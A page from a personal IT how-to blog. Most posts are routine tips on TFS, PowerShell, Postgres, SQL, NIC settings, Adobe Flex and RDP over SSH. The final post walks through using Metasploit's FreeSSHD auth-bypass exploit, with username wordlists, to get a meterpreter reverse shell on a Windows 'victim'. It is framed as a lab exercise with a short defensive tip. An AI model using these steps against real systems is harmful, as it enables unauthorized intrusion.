Top
JohnKlann / How to (Page 2)

How To Delete a Project from Team Foundation Server

I came across this one today while working on a new set up of TFS 2015. I created a Team Porject as a test and found that it could not be deleted. So we stumbled across an alternative way of deleting the project without having to sign into the actual application server.

 

Run this from admin command prompt where your Visual Studio is install:

  1. Windows 10 VS 2015 Pro path:
    1. C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\IDE\
  2. Command
    1. TfsDeleteProject.exe /force /collection:http://TFSServerName:PORT/tfs ProjectNameToBeDeleted
  3. Then Enter Y  at the prompt to confirm the project deletion.

 

 

team_foundation_server_delete_project_command

 

jklann

Easily Manage a Service on a Remote Machine

For this example I will use Windows Remote Desktop Services and their ever needing service restart.

  1. Remote Restart Service
    1. Syntax
    2. Get-Service -ComputerName yourremotecomputername -Name servicename | Restart-Service
      
    3. Example (Restart Remote Desktop Services)
    4. Get-Service -ComputerName server1.domain.local -Name TermService | Restart-Service -Force
      
    5. The “-Force” is added to the end as TermSerivce has dependent services and this flag is required to restart TermSerivce as well as its depedencies
  2. From here you can explore other Service commands and options using this base syntax to get the service object on a remote machine.

 

jklann

Postgres How To Get List of Functions Like PGAdmin III

Recently I had the need to get a bunch of object stats and counts of two postgres databases to compare them. The goal was to confirm both via query results as well as visually via PGAdmin III, just in case I missed something in excel :P. Anyways I quickly realized that some of my object counts did not match the UI counts. After a little playing with the query I realized the UI splits the Functions into aggregates, functions, and trigger functions. However by default the UI hides the views for aggregates and trigger functions and you have to manually specify these to be shown in schema tree.

File -> Options
pg_admin_III_file_options

Browser -> Display -> Objects
pg_admin_III_file_options_browser_display_objects

So If you are wanting to get only user functions like the list that is in PGAdmin III under each schema in the function tree. You will want to remember to exclude aggregate functions and trigger functions.

This Query does just that. It gets the count of functions per schema just like displayed in the UI.

select ns.nspname, count(*)
from pg_proc pr
join pg_namespace ns on 
    pr.pronamespace = ns.oid
--Exlcude system schemas
where ns.nspname <> 'pg_catalog' 
    and ns.nspname <> 'information_schema' 
    --Exclude Trigger Functions
    and pr.oid not in 
        (select tgfoid from pg_trigger)
    --Exclude aggregate functions
    and pr.proisagg = 'f'
group by ns.nspname
order by ns.nspname;

This Query Gets a count of Aggregate functions per schema.

select ns.nspname, count(*)
from pg_proc pr
join pg_namespace ns on 
      pr.pronamespace = ns.oid
--Exlcude system schemas
where ns.nspname <> 'pg_catalog' 
    and ns.nspname <> 'information_schema' 
    --Exclude Trigger Functions
    and pr.oid not in 
         (select tgfoid from pg_trigger)
    --include aggregate functions
    and pr.proisagg = 't'
group by ns.nspname
order by ns.nspname

Lastly this Query Gets a count of Trigger functions per schema.

select ns.nspname, count(*)
from pg_proc pr
join pg_namespace ns on 
    pr.pronamespace = ns.oid
--Exlcude system schemas
where ns.nspname <> 'pg_catalog' 
    and ns.nspname <> 'information_schema' 
    --Include Trigger Functions
    and pr.oid in
         (select tgfoid from pg_trigger)
group by ns.nspname
order by ns.nspname

Now you have a set of Function count queries that will match the PGAdmin III UI.

jklann
sqlCode

SQL Convert Size in Bytes to Human Readable Units

Came across a lot of databases that hold size of objects, files, whatever in bytes which is not the easiest to glance at and easily understand. So I wrote a basic SQL function to convert size in bytes to human readable format. The goal being that the output is greater than or equal to 1.0, that is automatically gets loops until it is less than 1.0 then stops at the previous division allowing for an easy to understand yet automatic format. I also have it round to 2 decimal places.

--set database to be used
--USE BEDB;
--checks if function already exists if it does it drops and re-adds it otherwise it adds it
IF OBJECT_ID (N'dbo.f_ConvertSize') IS NOT NULL
    BEGIN
        DROP FUNCTION Dbo.F_ConvertSize;
        PRINT 'Function f_ConvertSize Alread Exists, Deleting it and Adding it back now'
    END
ELSE
    BEGIN
        PRINT 'Function f_ConvertSize Does Not Exist, Adding it now.'
    END

GO
--creates function that
--parameter: size in bytes
--returns: single value nvarchar of converted size to readable format
CREATE FUNCTION Dbo.F_ConvertSize ( @rawSize FLOAT )
Returns NVARCHAR(12)
    BEGIN
        --creates processing variables
        --div = value to divide by
        --counter = number of times divided
        DECLARE @div INT,@counter INT
        --unit is used to capture the unit measure used in the output
        DECLARE @unit NVARCHAR(3)
        --the sizes table variable is used to store the different units
        DECLARE @sizes TABLE (Id INT,Unit NVARCHAR(3))
        INSERT @sizes(Id,Unit)
        VALUES(1,' B'),(2,' KB'),(3,' MB'),(4,' GB'),(5,' TB')
        --sets div and counter
        SET @div = 1024
        SET @counter = 1
        --while loop used to perform the conversion with condition clause that requires the size to be greater or equal to 1
        WHILE @rawSize >= 1 AND @counter <= 5
            BEGIN
                --breaks if the size is less than 1 after division
                --else it sets the rawsize to the rawsize divided by the div then it sets the counter to +=1
                IF @rawSize/@div < 1
                    BREAK
                ELSE
                    SET @rawSize = @rawSize/@div
                    SET @counter += 1
            END
        --gets units used from the units table variable
        SELECT @unit = Unit
        FROM @sizes
        WHERE Id = @counter
        --converts the new size to varchar and rounds it to 2 decimal places then adds the units and returns the output
        RETURN CAST(ROUND(@rawSize,2) AS NVARCHAR(50))+@unit
    END
jklann
speed_and_duplex_values_advanced_tab_adapter_configurations

How to tell if a NIC is using full or half duplex

  1. Open windows Network and Sharing Center.  My favorite way to do this in Windows 7 is to right click on the network icon in the right system try and select “Open Network and Sharing Center”. If you are using Windows 8 press the windows key and search for Network and Sharing Center.
    1. tray_open_network_and_sharing
  2. Once in the Network and Sharing Center in the left menu select the “Change adapter settings” link.
    1. change_adapter_settings_network_and_sharing
  3. Now in the “Network Connections” Window Select the NIC that you want to check the duplex on. Normally this is the Local Area Connection unless you have multiple NICs then choose the one you want to check, right click and select properties
    1. adapter_properties_network_connections
  4. In the new Window click configure 
    1. configure_adapter_properties
  5. In the new Windows select the Advanced tab. Then in the Property box scroll down and find the list item Speed & Duplex  then click it. In the right drop down labeled Value  you will see what the NIC is set too. By Default it is Set to Auto Negotiation. From here you can drop down and select your speed and duplex for that NIC.
    1. speed_and_duplex_values_advanced_tab_adapter_configurations

 

 

jklann

How to display HTML code in an adobe flex desktop application the Easy Way

So am very new to adobe flex and really don’t plan on using it that much other than to generate a quick ui for something simple.

In this case I wanted to use flex to create a small desktop app to load a live monitor website. In this case the default <mx:HTML location=”http://site.com” was not loading the site at all so was digging all over the place for a solution. I came across expensive libraries that could do it, and a pretty cool github project called Flex-iFrame if you want to get complicated with it. Needless to say I came up with my own solution.

The idea is that the <mx:HTML location=”  can point to a location html file as well. So I wrote a quick html page with an iframe to the website I wanted to monitor. Next I copied the html file to the /src/ directory of the adobe flex project folder.  Finally I added the line <mx:HTML location=”myhtmlfile.html” /> . This worked great for my application and seems to be the easiest way to perform this process.

Steps:

1.)  Create your adobe flex project:

create_new_flex_project

create_new_flex_project

2.)  Name the projected whatever you want and be sure to select the Application type as Desktop then select finish:

create_new_flex_project_settings

create_new_flex_project_settings

3.)  Next create the html file with the html you want to display in my case an iframe:

<html>
<head>
</head>
<body>
<iframe src=”https://site.com/livemonitoring/stuff/display&type=Grid height=”400px”></ifram>
</body>
</html>

Note:  you can add jquery and css file links as well if they are local to your system make sure you copy them with the html file in the next step.

4.)  Now that you have created the html file copy it and any other dependent files to your flex projects src directory. Typically the path will be something like:

C:\users\username\adobe flash builder 4.7\ProjectName\src

Note: This is also the directory where the projects  .mxml and  -app.xml  will be located.

5.) The last part for this will be to add the flex html location code to view the file add something like the following to your flex project.

<mx:HTML location=”yourhtmlfile.html” />

 

flex_html_code

flex_html_code

 

Note: From  here you can build the rest of your app and style it the way you would like.

6.) Finally run your app!

flex_html_app_running

flex_html_app_running

 

jklann
remote_desktop_connection_setup

How To: RDP Over SSH

So I have been using RDP over SSH for about the last year and I have found its stability to be much better than Logmein, teamviewer, VNC, and many others. While this method may not have all the fancy features that these other tools have, there is less lag, better performance overall, its free, its secure, and there is no middle server its direct point to point!

Requirements:

  1. SSHD server running on the windows machine you would like to RDP into. I would suggest using Cygwin rather than FreeSSHD due to security exploits.
  2. RDP/Remote Desktop Connections enable on this server. (This will be covered)
  3. The ability to setup port forwarding on your external router. Setup Forwarding
  4. The external IP Address of the network your server is connected to. Your IP
  5. Putty Client

Part One: Setting up the Windows Server.

Once you have a ssh server up and configured the next step is to enable RDP on your windows server.

  1. Open the start menu , right click on computer and select properties.
    start_menu_computer_properties

    start_menu_computer_properties

     

  2. In the properties window in the top left pane select remote settings.
  3. In the new “System Properties” window under the Remote tab check the box labeled “Allow Remote Assistance connections to this computer”
  4. Next in the same window  under the Remote Desktop section, select  “Allow connections from computers running any version of Remote Desktop” option.
  5. Then click “apply” , then “ok”.
    enable_remote_control

    enable_remote_control

     

Part Two: Setting up the Client machine for connection.

Once you have downloaded and opened the putty client it is time to set up the ssh session and tunnels.

  1. One the main putty page enter the external IP Address of your windows server the box labeled “Host Name (or IP address)”.
    putty_home_setup

    putty_home_setup

     

  2. In the left pane of the putty utility expand the SSH node and select Tunnels.
  3. In the box labeled “Source Port” enter a free port on your local system. For this I will use port 1234 as it is normally free.
  4. In the box labeled “Destination” enter the local IP address of your windows server followed by “:3389” the port for RDP.
  5. Leave the default settings below this set to “local” and “Auto”.
  6. Then Select “Add”.
    putty_rdp_tunnel_setup

    putty_rdp_tunnel_setup

     

  7. Now select the main putty page in the left pane at the very top labeled “Session”.
  8. In the “Saved Sessions” box enter a name you would like to save your configuration. as so you do not have to set this up again.
  9. Then press “Save”.
    putty_save_profile

    putty_save_profile

     

  10. Note: To open this session in the future select it from the list and select “Load”
  11. Then Select “Open” This will start the SSH session.
  12. Now for the final steps to open the RDP session. Open the start menu and search for “Remote Desktop Connection” and then open it.
    find_remote_desktop_connection

    find_remote_desktop_connection

     

  13. Then in the box labeled “Computer” enter Localhost: followed by the port selected to use in the putty configuration. In this case port 1234.
  14. Then Select Connect.
    remote_desktop_connection_setup

    remote_desktop_connection_setup

     

  15. Now it will prompt you with a credentials box. Just enter your account information and select “OK”.
    enter_remote_desktop_credentials

    enter_remote_desktop_credentials

     

  16. And Now you have a RDP Session over SSH!
    emote_desktop_connection_complete

    emote_desktop_connection_complete

 

 

jklann

Kali Linux: Hacking FreeSSHD on Windows to get a meterpreter shell

So I found and interesting exploit in metasploit today mainly out of boredom and I figured I would share here. Below you will find a step my step of how to use metasploit to exploit FreeSSHD on windows to get a meterpreter shell.

start: FreeSSHD on your windows Victim box and check for any custom ports.

freesshd_configurations

freesshd_configurations

start: mfsconsole in kali

msfconsole

msfconsole

search: ssh

search_ssh

search_ssh

copy: exploit/windows/ssh/freesshd_authbypass

run: use exploit/windows/ssh/freesshd_authbypass

run: show options

use_exploit_options

use_exploit_options

run: set RHOST [victim ip]

run: set RPORT [victim port running ssh]

run: set LHOST [host ip]

run: set LPORT [local listening port]

exploit_settings

exploit_settings

run: exploit

exploit_shell

exploit_shell

Note: This exploit uses a user name list for the attack if the user that the ssh service uses to authenticate is not in this list this exploit won’t work. However there is an option you can set if you know the username or wish to guess at it.

ex: set USERNAME crazy_user123456789

Note: Also you can always find larger user name lists and add them to the list that metasploit uses located at “/opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt” or you can change this path to point at your own list using the

ex: set USER_FILE /youpath/users.txt

Note: Kali of course has built in wordlist which you can find at the following location

ex: usr/share/dirbuster/wordlists/

Note: Once the exploit works you have a meterpreter shell :)

Solution if you are trying to protect against this attack, use a complicated username or use cygwin sshd for windows operating systems instead.

jklann